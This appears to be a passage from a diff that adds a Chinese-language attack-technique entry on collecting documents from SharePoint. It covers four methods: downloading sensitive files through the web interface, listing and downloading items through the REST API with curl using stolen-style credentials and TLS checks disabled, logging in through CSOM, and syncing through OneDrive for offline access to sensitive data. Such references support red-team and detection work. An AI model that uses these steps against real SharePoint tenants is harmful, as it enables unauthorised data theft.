+ **1. Web界面访问**
4812
+ _Web界面访问_
4813
+ ```
4814
+ https://sharepoint.com/sites/site_name/Shared Documents
4815
+ 通过浏览器访问文档库
4816
+ 下载敏感文件
4817
+ ```
4818
+
4819
+ **2. REST API访问** _[linux]_
4820
+ _REST API访问_
4821
+ ```
4822
+ curl -k -u user:password "https://sharepoint.com/_api/web/lists/getbytitle('Documents')/items"
4823
+ 获取文档列表
4824
+ 下载文件内容
4825
+ ```
4826
+
4827
+ **3. CSOM访问** _[windows]_
4828
+ _CSOM访问_
4829
+ ```
4830
+ 使用SharePoint客户端对象模型:
4831
+ ClientContext context = new ClientContext("https://sharepoint.com");
4832
+ context.Credentials = new SharePointOnlineCredentials(user, password);
4833
+ List list = context.Web.Lists.GetByTitle("Documents");
4834
+ ```
4835
+
4836
+ **4. OneDrive同步**
4837
+ _OneDrive同步_
4838
+ ```
4839
+ 使用OneDrive客户端同步SharePoint文档库
4840
+ 本地访问所有文件
4841
+ 离线查看敏感数据
4842
+ ```
4843
+
4844
+ ---
4845
+